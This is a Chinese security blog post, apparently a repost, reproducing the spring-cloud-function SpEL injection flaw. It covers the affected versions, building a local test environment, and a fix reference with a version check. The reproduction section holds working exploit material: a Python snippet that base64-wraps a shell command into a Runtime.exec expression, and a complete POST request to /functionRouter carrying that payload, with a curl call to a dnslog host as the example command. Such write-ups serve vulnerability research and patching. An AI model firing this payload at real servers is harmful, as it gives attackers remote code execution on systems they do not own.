spring-cloud-function SPEL注入漏洞复现(包含环境搭建)

admin 2025年2月25日20:21:28评论9 views字数 1317阅读4分23秒阅读模式

spring-cloud-function SPEL注入漏洞复现(包含环境搭建)

一、影响版本

3 <= spring-cloud-funcion版本 <= 3.22

二、环境搭建

搭建环境这里花了好多时间,最后用的官方的spring-cloud-funciont-samples中的function-samples-pojo就可以了

wget https://github.com/spring-cloud/spring-cloud-function/archive/refs/tags/v3.1.6.zipunzip spring-cloud-function-3.1.6.zipcd spring-cloud-function-3.1.6/spring-cloud-function-samples/function-sample-pojomvn package

启动环境

cd targetjava -jar function-sample-pojo-2.0.0.RELEASE.jar

访问目标环境(http://localhost:8080)

spring-cloud-function SPEL注入漏洞复现(包含环境搭建)

三、漏洞复现

由于java的Runtime().getRuntime().exec()中符号会有问题,通过base64的方式进行rce

#命令转换import base64cmd = "curl xx.dnslog"base64_cmd = 'T(java.lang.Runtime).getRuntime().exec("bash -c {echo,' + base64.b64encode(cmd.encode()).decode() + '}|{base64,-d}|{bash,-i}")'print(base64_cmd)

最后poc数据包

POST /functionRouter HTTP/1.1spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,x}|{base64,-d}|{bash,-i}")Accept: */*Host: localhost:8080Accept-Encoding: gzip, deflate, brConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 4xxx=

spring-cloud-function SPEL注入漏洞复现(包含环境搭建)

查看dnslog

spring-cloud-function SPEL注入漏洞复现(包含环境搭建)

四、漏洞修复

官方并未给出新版本,目前修复可以参考官方github mian分支commit dc5128b

https://github.com/spring-cloud/spring-cloud-function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52

可自行查看应用程序中spring-cloud-function的引用情况,并检查当前使用版本,可以用以下命令在应用程序项目目录中进行检测

grep -A 2 "spring-cloud-function-context" pom.xml

原文始发于微信公众号(we1x4n):spring-cloud-function SPEL注入漏洞复现(包含环境搭建)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月25日20:21:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   spring-cloud-function SPEL注入漏洞复现(包含环境搭建)https://cn-sec.com/archives/853699.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息